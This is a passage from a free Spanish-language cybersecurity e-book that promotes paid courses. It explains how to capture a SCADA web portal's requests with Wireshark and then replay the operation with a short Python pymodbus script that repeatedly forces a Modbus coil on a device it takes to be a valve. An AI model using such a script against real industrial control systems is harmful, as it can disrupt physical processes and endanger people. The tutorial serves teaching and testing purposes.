Utilizando Python
Este libro se ofrece de manera gratuita como parte de nuestro compromiso con la educación en ciberseguridad. Si encuentras este recurso útil, te invitamos a compartirlo con colegas y amigos interesados en el campo. Agradecemos tu apoyo y, como muestra de gratitud, te animamos a explorar nuestros cursos. Para más información o para adquirir alguno de nuestros cursos especializados, por favor, comunícate con nuestro canal de ventas: https://wa.link/ej3kiu. Tu participación nos ayuda a seguir creando y compartiendo conocimientos valiosos con la comunidad.
Si tenemos acceso aun portal web que interactua o controla un sistema SCADA, podriamos realizar una captura de las peticiones encargadas para replicar la operacion:

Al presionar en dicho boton se produce varias peticiones y nuevamente podemos apreciar el trafico con WireShark:

Y el script de python quedaria asi:
from pymodbus.client.sync import ModbusTcpClient as Client
# Connect to some of the devices we think are valves
client = Client('192.168.95.2')
while True:
client.write_coil(40, True)
Debemos instalar las librerias:

Ejecutamos nuestro script:
python3 script.py
Y esto da como resultado:

Última actualización
¿Te fue útil?